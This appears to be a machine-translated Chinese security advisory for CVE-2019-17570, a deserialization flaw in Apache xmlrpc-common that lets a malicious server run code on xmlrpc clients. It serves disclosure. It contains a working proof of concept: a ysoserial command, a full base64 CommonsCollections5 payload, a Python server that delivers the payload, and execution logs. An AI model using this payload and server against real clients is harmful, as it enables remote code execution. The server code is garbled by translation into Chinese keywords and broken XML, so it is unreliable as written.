xmlrpc常见的反序列化漏洞

该说明是一个技术说明,详细说明了根本原因和相关的利用。您可以在此处找到初始披露。关联的CVE为CVE-2019-17570。

描述

xmlrpc-common构成xmlrpc-client和xmlrpc-server之间的共享代码库。org.apache.xmlrpc.parser.XmlRpcResponseParser.addResult(Object)方法中已发现反序列化漏洞。它使攻击者控制的xmlrpc服务器能够发送恶意的xmlrpc答复,这将触发xmlrpc客户端中的远程代码执行。
反序列化是通过使用xmlrpc错误触发的,该错误可能包含faultCause。该节点的内容作为字节数组处理,随后使用readObject()以下命令反序列化为Java对象:

  1. protected void addResult(Object pResult) throws SAXException {
  2. if (isSuccess) {
  3. super.setResult(pResult);
  4. } else {
  5. Map map = (Map) pResult;
  6. Integer faultCode = (Integer) map.get("faultCode");
  7. if (faultCode == null) {
  8. throw new SAXParseException("Missing faultCode", getDocumentLocator());
  9. }
  10. try {
  11. errorCode = faultCode.intValue();
  12. } catch (NumberFormatException e) {
  13. throw new SAXParseException("Invalid faultCode: " + faultCode,
  14. getDocumentLocator());
  15. }
  16. errorMessage = (String) map.get("faultString");
  17. Object exception = map.get("faultCause");
  18. if (exception != null) {
  19. try {
  20. byte[] bytes = (byte[]) exception;
  21. ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
  22. ObjectInputStream ois = new ObjectInputStream(bais);
  23. errorCause = (Throwable) ois.readObject();
  24. ois.close();
  25. bais.close();
  26. } catch (Throwable t) {
  27. // Ignore me
  28. }
  29. }
  30. }
  31. }

该漏洞与CVE-2016-5003不同,后者利用ex:serialized类型触发反序列化。即使禁用了扩展名,此新漏洞也会影响xmlrpc-common,即使在其默认配置中也是如此。

开发技术

当漏洞处于时xmlrpc-common,利用漏洞需要使用一个小工具链来实现远程代码执行。小工具链取决于classpath中可用的类。为了进行演示,我们的概念验证在类路径中添加了Apache commons-collections-3.2.1,并且使用ysoserial生成了小工具链。

CVSSv3基本得分:9.8

CVSS:3.0 / AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H

影响

攻击者可以使用xmlrpc常见易受攻击的版本在xmlrpc客户端的上下文中执行任意代码。

概念证明

我们的概念证明使用了专门编写的xmlrpc测试客户端和一个由攻击者控制的xmlrpc服务器。

xmlrpc服务器

该服务器的主要目的是将序列化的有效负载传递给易受攻击的客户端。已使用以下方法创建了序列化的有效负载:

  1. $ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
  2. ...
  3. rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=

服务器本身非常简单,主要包括:
def create_fault_deser(payload):
返回 b ‘’’ <?xml version =“ 1.0” encoding =“ UTF-8”?>





faultCode </ name >
1337 </ int> </ value>
</ member>

faultString </ name>
您已被充值</ string> </ value>
< / member>
<成员>
<名称>故障原因</ name>
%s </ base64> </ value>
</ member>
</ struct>
</ value>
</ fault>
</ methodResponse>
‘’’ %(有效载荷)

类 处理程序(HTTP。服务器。SimpleHTTPRequestHandler):
DEF do_POST(自):
自 .send_response(200)
自 .send_header(’内容-类型’,’文本/ XML ‘)
自 .end_headers()

  1. 自我 .wfile.writecreate_fault_deserPING_COMMONS_COLLECTIONS))

httpd = socketserver.TCPServer((’ 0.0.0.0 ‘,8888),处理程序)
httpd.serve_forever()
PING_COMMONS_COLLECTIONS上面使用的变量设置为ysoserial命令的输出。

测试xmlrpc客户端

我们的测试客户来源是:

  1. import java.net.MalformedURLException;
  2. import java.net.URL;
  3. import java.util.HashMap;
  4. import java.util.Hashtable;
  5. import org.apache.xmlrpc.XmlRpcException;
  6. import org.apache.xmlrpc.client.XmlRpcClient;
  7. import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;
  8. public class VulnerableClient {
  9. public static void main(String[] args) throws MalformedURLException, XmlRpcException {
  10. String domainName = "http://127.0.0.1:8888";
  11. String serverurl = domainName + "/RPC2";
  12. XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
  13. config.setServerURL(new URL(serverurl));
  14. XmlRpcClient client = new XmlRpcClient();
  15. client.setConfig(config);
  16. Object[] params = new Object[]{"test", "'tell me you are alive' 1337"};
  17. Object result = (Object) client.execute("xmlrpc-api", params);
  18. }
  19. }

使用编译后,使用make以下代码触发代码执行:

  1. $ java -jar target/VulnerableClient-1.0-SNAPSHOT-jar-with-dependencies.jar

证明

恶意负载被传递给无辜的受害者:

  1. $ ./xmlrpc-server.py
  2. 127.0.0.1 - - [redacted] "POST /RPC2 HTTP/1.1" 200 -

我们的测试客户端失败:

  1. Exception in thread "main" org.apache.xmlrpc.XmlRpcException: You have been pwned
  2. at org.apache.xmlrpc.client.XmlRpcStreamTransport.readResponse(XmlRpcStreamTransport.java:205)
  3. at org.apache.xmlrpc.client.XmlRpcStreamTransport.sendRequest(XmlRpcStreamTransport.java:156)
  4. at org.apache.xmlrpc.client.XmlRpcHttpTransport.sendRequest(XmlRpcHttpTransport.java:143)
  5. at org.apache.xmlrpc.client.XmlRpcSunHttpTransport.sendRequest(XmlRpcSunHttpTransport.java:69)
  6. at org.apache.xmlrpc.client.XmlRpcClientWorker.execute(XmlRpcClientWorker.java:56)
  7. at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:167)
  8. at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:137)
  9. at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:126)
  10. at poc.xmlrpcdeser.VulnerableClient.main(VulnerableClient.java:21)
  11. Caused by: BadAttributeValueException: foo=1
  12. at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
  13. at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
  14. at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
  15. Caused by:
  16. BadAttributeValueException: foo=1
  17. at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
  18. at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
  19. at ysoserial.GeneratePayload.main(GeneratePayload.java:34)

但是有效负载ping www.google.com已执行:

  1. 1 0.000000 127.0.0.1 127.0.0.1 TCP 64 49378 8888 [SYN]
  2. 3 0.000084 127.0.0.1 127.0.0.1 TCP 64 8888 49378 [SYN, ACK]
  3. 5 0.000092 127.0.0.1 127.0.0.1 TCP 52 49378 8888 [ACK]
  4. 11 0.001955 127.0.0.1 127.0.0.1 HTTP/XML 259 POST /RPC2 HTTP/1.1
  5. 25 0.002905 127.0.0.1 127.0.0.1 HTTP/XML 52 HTTP/1.0 200 OK
  6. 29 0.133997 192.168.1.14 216.58.198.196 ICMP 84 Echo (ping) request id=0x1528, seq=0/0, ttl=64
  7. 34 0.149668 216.58.198.196 192.168.1.14 ICMP 84 Echo (ping) reply id=0x1528, seq=0/0, ttl=51 (request in 29)
  8. 35 1.139284 192.168.1.14 216.58.198.196 ICMP 84 Echo (ping) request id=0x1528, seq=1/256, ttl=64
  9. 36 1.153082 216.58.198.196 192.168.1.14 ICMP 84 Echo (ping) reply id=0x1528, seq=1/256, ttl=51 (request in 35)

请注意,tshark输出已删除,不显示无用的数据包。

时间线

  • 2019-11-19:通过电子邮件通知Apache
  • 2019-11-19:不再积极维护Apache XML-RPC
  • 2019-11-21:红帽通过电子邮件通知
  • 2019-11-22:漏洞重新影响了Apache项目
  • 2020-01-06:通过电子邮件通知了Distro OSS安全性
  • 2020-01-16:漏洞发布到OSS安全邮件列表
  • 2020-01-24:漏洞详细信息和概念证明发布在github.com上

    学分

  • Guillaume TEISSIER(橙色)

  • 橙色组

    受影响的版本

    xmlrpc-common构成了xmlrpc的基础,只有很少的工件引用了它。但是,看看xmlrpc客户端的用户,我们发现了124个可通用地嵌入xmlrpc的构件。
    该漏洞至少影响以下版本:

  • 3.1.3-redhat-5

  • 3.1.3-redhat-2
  • 3.1.3-redhat-1
  • 3.1.3
  • 3.1.2
  • 3.1.1
  • 3.1

以下版本不受此漏洞的影响,因为它们不会faultCause在收到的响应中执行查找:

参考资料